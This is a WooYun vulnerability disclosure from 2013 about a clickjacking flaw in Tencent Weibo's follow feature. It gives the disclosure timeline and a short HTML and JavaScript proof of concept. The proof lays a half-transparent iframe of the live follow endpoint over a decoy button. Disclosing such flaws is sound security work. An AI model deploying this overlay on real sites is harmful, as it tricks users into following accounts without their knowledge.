WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-019063

漏洞标题：腾讯微博关注功能点击劫持漏洞

相关厂商：腾讯

漏洞作者： Sogili

提交时间：2013-02-22 22:24

修复时间：2013-04-08 22:25

公开时间：2013-04-08 22:25

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2013-02-22： 细节已通知厂商并且等待厂商处理中
2013-02-27： 厂商已经确认，细节仅向厂商公开
2013-03-09： 细节向核心白帽子及相关领域专家公开
2013-03-19： 细节向普通白帽子公开
2013-03-29： 细节向实习白帽子公开
2013-04-08： 细节向公众公开

简要描述：

腾讯微博关注功能点击劫持漏洞,可以让其它微博用户在不知情的情况下关注你.

详细说明：

漏洞证明：

<script>
var xx=0;
var yy=0;
window.onload=function (e){
var iframe = document.getElementById('xxx');
iframe.style.left=a.offsetLeft-xx;
iframe.style.top=a.offsetTop-yy;
}
</script>
<iframe style="position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;" id=xxx src="http://follow.v.t.qq.com/index.php?c=follow&a=quick&name=jackmasa&style=4&t=1342759674261&f=0#" WIDTH=100 height=25></iframe>
<br><br></br><br></br><br></br><center><button id=a>我勒个去</button></center>

修复方案：

版权声明：转载请注明来源 Sogili@乌云

漏洞回应